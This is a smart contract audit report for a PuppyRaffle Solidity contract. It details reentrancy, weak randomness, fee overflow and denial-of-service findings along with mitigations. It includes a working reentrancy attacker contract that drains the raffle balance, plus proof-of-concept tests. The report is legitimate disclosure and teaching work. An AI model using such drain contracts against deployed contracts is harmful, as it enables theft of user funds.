Protocol Audit Report

Version 1.0

Nengak E. Goltong

June 16, 2024

Protocol Audit Report

Nengak Emmanuel Goltong

June 15, 2024

Prepared by: Spomaria

Lead Security Researcher: - Nengak Emmanuel Goltong

Table of Contents

    * [M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, continuously incrementing gas costs for future entrants
    * [M-2] Unsafe cast of `PuppyRaffle::fee`, loses fees
    * [M-3] Raffle winners with smart contract wallets without a `recieve` or `fallback` function can block the start of a new raffle.
  - Low
    * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and the player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
  - Gas
    * [G-1] Unchanged state variables should be declared constant or immutable
    * [G-2] Storage variables in a loop should be cached
  - Informational
    * [I-1] Solidity Pragma should be specific, not wide
    * [I-2] Using an outdated version of Solidity is not recommended
    * [I-3] Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice
    * [I-5] The use of 'magic' numbers is discouraged
    * [I-6] State changes are missing events
    * [I-7] `PuppyRaffle._isActivePlayer` is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter

the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of Issues Found
High	3
Medium	3
Low	1
Gas	2
Info	7
Total	16

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrants to drain raffle balance

Description: The `PuppyRaffle::refund` does not follow CEI (Checks - Effects - Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we make an external call to the `msg.sender` address and only after the external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
           can refund");
4      require(playerAddress != address(0), "PuppyRaffle: Player already
           refunded, or is not active");
5
6  @>     payable(msg.sender).sendValue(entranceFee);
7  @>     players[playerIndex] = address(0);
8      emit RaffleRefunded(playerAddress);
9  }
```

A player who has entered the raffle could have a `receive`/`fallback` function that calls the `PuppyRaffle::refund` function again and claim another refund function. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be drained by malicious particpant.

Proof of Concept: 1. User enters the raffle 2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3. Attacker enters the raffle 4. Attacker calls the `attack` function from their malicious contract which calls the `PuppyRaffle::refund` function, triggering the `fallback` function in their malicious contract thereby draining the `PuppyRaffle` contract balance.

Prove of Code:

Code Place the following into `PuppyRaffle.t.sol`

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackContractBalance = address(attackerContract)
            .balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("Starting Attacker Contract Balance: ",
            startingAttackContractBalance);
        console.log("Starting Contract Balance: ",
            startingContractBalance);

        console.log("Ending Attacker Contract Balance: ",
            endingAttackContractBalance);
        console.log("Ending Contract Balance: ", endingContractBalance)
            ;
```

```
28      }
```

And this contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle){
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14
15         puppyRaffle.enterRaffle{value: entranceFee}(players);
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17
18         puppyRaffle.refund(attackerIndex);
19     }
20
21     function _stealMoney() internal {
22         if(address(puppyRaffle).balance >= entranceFee){
23             puppyRaffle.refund(attackerIndex);
24         }
25     }
26
27     fallback() external payable {
28         _stealMoney();
29     }
30
31     receive() external payable {
32         _stealMoney();
33     }
34 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making the external call. Additionally, we should move the emission event up as well.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
```

```
5
6  +        players[playerIndex] = address(0);
7  +        emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9
10 -         players[playerIndex] = address(0);
11 -         emit RaffleRefunded(playerAddress);
12      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` which allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users can front run this function and call `refund` if they see that they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. The entire raffle becomes worthless if it becomes a gas war as to who wins the raffle.

Proof of Concept: 1. Validators can know ahead of time `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity in prevrandao. `block.difficulty` was recently replaced with `prevrandao`. 2. User can mine/manipulate their `msg.sender` value to result in thier address being used to generate the winner. 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees`, loses fees

Description: In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then enter 90 players into a new raffle and conclude the raffle
3. `totalFees` will be

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 80000000000000000 + 18000000000000000000;
// and this will overflow
totalFees = 353255926290448384
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

   Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint64 initialFees = puppyRaffle.totalFees();
    console.log(initialFees);

    // enter 90 players into the raffle
    uint256 playersNum = 90;
    address[] memory players = new address[](playersNum);
    for(uint i; i < playersNum; i++){
        players[i] = address(i+1);
    }

    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

    vm.warp(block.timestamp + duration + 1);
```

```
19      vm.roll(block.number + 1);
20      puppyRaffle.selectWinner();
21      uint64 currentFees = puppyRaffle.totalFees();
22      console.log(currentFees);
23
24      assert(currentFees < initialFees);
25  }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, a `uint256` instead of a `unit64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity, however, you will still have a hard time with `uint64` type if too many fees are collected.
3. Remove the `balance` check from `PuppyRaffle::withdrawFees`

```
1 -     require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final `require` statement, so we recommend removing it regardless

Medium

[M-1] Looping through the players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, continuously incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `PuppyRaffle::players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to pass through before entering the raffle. This means the gas costs for players who enter the raffle right after the raffle starts is way less than that of players who enter the raffle later on.

Every additional address in the `PuppyRaffle::players` array is an additional check for the loop to perform.

```
1       // @audit DoS attack
2       // Check for duplicates
3       for (uint256 i = 0; i < players.length - 1; i++) {
4           for (uint256 j = i + 1; j < players.length; j++) {// @audit gas
                efficiency issues here
5               require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
```

```
6           }
7       }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first in the queue.

An attacker might make the `PuppyRaffle::players` array so big that no one enters the raffle afterwards, thereby guaranteeing themselves as the winner.

Proof of Concept: If we have 2 sets of 100 players that enter the raffle, the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2nd 100 players: ~18068218 gas

This is about 3 times more expensive for the 2nd set of 100 players.

PoC Place the following code into `PupplyRaffleTest.t.sol`.

```
1  function test_DenialOfService() public {
2      vm.txGasPrice(1);
3      // First 100 players
4      uint256 playersNum = 100;
5      address[] memory playersA = new address[](playersNum);
6
7      for(uint256 i = 0; i < playersNum; i++){
8          // address newPlayer = address(uint160(i + 1));
9          playersA[i] = address(i);
10     }
11
12     uint256 gasStartA = gasleft();
13     puppyRaffle.enterRaffle{value: entranceFee * playersA.length}(
           playersA);
14     uint256 gasAfterA = gasleft();
15     uint256 gasUsedA = (gasStartA - gasAfterA)*tx.gasprice;
16     console.log("Gas cost of the First 100 players:", gasUsedA);
17
18     // Second 100 players
19     address[] memory playersB = new address[](playersNum);
20
21     for(uint256 i = 0; i < playersNum; i++){
22         // address newPlayer = address(uint160(i + 1));
23         playersB[i] = address(i + playersNum);
24     }
25
26     uint256 gasStartB = gasleft();
27     puppyRaffle.enterRaffle{value: entranceFee * playersB.length}(
           playersB);
28     uint256 gasAfterB = gasleft();
29     uint256 gasUsedB = (gasStartB - gasAfterB)*tx.gasprice;
30
31     console.log("Gas cost of the Second 100 players:", gasUsedB);
```

```
32
33      assert(gasUsedA < gasUsedB);
34  }
```

Recommended Mitigation: There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering the raffle multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This will allow constant time lookup of whether a user has already entered.

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
17 +        }
18 -        for (uint256 i = 0; i < players.length; i++) {
19 -            for (uint256 j = i + 1; j < players.length; j++) {
20 -                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
21 -            }
22 -        }
23         emit RaffleEnter(newPlayers);
24     }
25 .
26 .
27 .
28     function selectWinner() external {
29 +       raffleId = raffleId + 1;
30         require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee`, loses fees

Description: In `PuppyRaffle::selectWinner`, there is an unsafe cast of a `uint256` to a `uint64`. This is an unsafe cast and if `uint256` exceeds `type(uint64).max`, the value will be truncated.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be zero
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then enter 90 players into a new raffle and conclude the raffle
3. `totalFees` will be

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 80000000000000000 + 18000000000000000000;
// and this will overflow
totalFees = 353255926290448384
```

Code

```
function testTotalFeesOverflow() public playersEntered {

    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint64 initialFees = puppyRaffle.totalFees();
    console.log(initialFees);

    // enter 90 players into the raffle
    uint256 playersNum = 90;
    address[] memory players = new address[](playersNum);
    for(uint i; i < playersNum; i++){
        players[i] = address(i+1);
    }

    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

```

```
18      vm.warp(block.timestamp + duration + 1);
19      vm.roll(block.number + 1);
20      puppyRaffle.selectWinner();
21      uint64 currentFees = puppyRaffle.totalFees();
22      console.log(currentFees);
23
24      assert(currentFees < initialFees);
25  }
```

Recommended Mitigation: Remove the unsafe cast in the contract

```
1  -     totalFees = totalFees + uint64(fee);
2  +     totalFees = totalFees + fee;
```

[M-3] Raffle winners with smart contract wallets without a `recieve` or `fallback` function can block the start of a new raffle.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payments, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 Smart Contract wallets without a `receive` or `fallback` function enter the raffle.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so that winners can pull out their money themselves with a new `claimPrize` function, putting the ownus on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and the player at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array

```
function getActivePlayerIndex(address player) external view returns (uint256) {
     for (uint256 i = 0; i < players.length; i++) {
         if (players[i] == player) {
             return i;
         }
     }
     return 0;
 }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest is to revert if the player is not in the `PuppyRaffle::players` array instead of returning zero.

You could also reserve the 0th position for any competition, but a better solution is to return an `int256` where the function returns `-1` if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description: Reading from storage is much more expensive than reading from a constant or immutable variable.

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length`, you read from storage as opposed to reading from memory which is more gas efficient.

```
+ uint256 playersLength = players.length;
+ for (uint256 i = 0; i < playersLength - 1; i++) {
- for (uint256 i = 0; i < players.length - 1; i++) {
+            for (uint256 j = i + 1; j < playersLength; j++) {// @audit gas efficiency issues here
-            for (uint256 j = i + 1; j < players.length; j++) {// @audit gas efficiency issues here
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Informational

[I-1] Solidity Pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contract instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

Description: `solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing

Please see slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

- Found in src/PuppyRaffle.sol Line: 66

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 214

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

```
1 -    (bool success,) = winner.call{value: prizePool}(""); // @note
      winner could be address(0)
2 -    require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
3      _safeMint(winner, tokenId);
4 +    (bool success,) = winner.call{value: prizePool}(""); // @note
      winner could be address(0)
5 +    require(success, "PuppyRaffle: Failed to send prize pool to winner"
      );
```

[I-5] The use of 'magic' numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Example

```
1      uint256 prizePool = (totalAmountCollected * 80) / 100;
2      uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1      uint256 private constant PRICE_POOL_PERCENTAGE = 80;
2      uint256 private constant FEE_PERCENTAGE = 20;
3      uint256 private constant POOL_PRECISION = 100;
```

[I-6] State changes are missing events

[I-7] `PuppyRaffle._isActivePlayer` is never used and should be removed